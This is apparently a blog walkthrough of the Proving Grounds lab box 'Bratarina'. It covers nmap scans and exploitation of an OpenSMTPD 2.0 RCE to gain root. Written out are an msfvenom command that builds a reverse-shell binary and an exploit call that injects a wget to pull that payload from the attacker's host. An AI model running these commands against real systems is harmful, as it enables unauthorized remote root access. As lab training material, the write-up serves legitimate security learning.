Home Proving Grounds - Bratarina
Post
Cancel

Proving Grounds - Bratarina

Bratarina Overview

Machine Details:

IPHostnameOperating System
192.168.109.71BratarinaLinux

Path to Exploitation

Bratarina is a really straightforward machine that requires some basic enumeration of the identified services. In this case we exploit a vulnerable SMTP service that gain root access to the machine.

Bratarina Enumeration

Full Port Scan

1
nmap 192.168.109.71 -p- -oA Bratarina/nmap/full-port --open -Pn -vv

Which Resulted In:

PORTSERVICE
22ssh
25smtp
80http
445microsoft-ds

Service Scan

1
nmap 192.168.109.71 -p 22,25,80,445 -sC -sV -oA Bratarina/nmap/service-scan -Pn

Which Resulted In:

PORTSERVICEVERSION
22ssh7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25smtp 
80http1.14.0 (Ubuntu)
445netbios-ssnsmbd 4.7.6-Ubuntu (workgroup: COFFEECORP)

SMTP

We see the server version is OpenSMTPD 2.0

We can search for vulnerabilities that affect this version and come across the following RCE Exploit

We try launching reverse shell one-liners with no luck and decide to upload a reverse shell file to the host. We need to generate our reverse shell payload

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.109 LPORT=445 -f elf > evil.elf

We’ll start an HTTP server and upload our file to the /tmp directory on the host

1
python3 exploit.py 192.168.109.71 25 "wget 192.168.49.109/evil.elf -O /tmp/evil.elf"

Payload

We get a hit on our HTTP server

HTTP Callback

We then change our payload to an executable, setup our listener, and launch the payload

Privilege Escalation

And we see we get a shell running as root

This post is licensed under CC BY 4.0 by the author.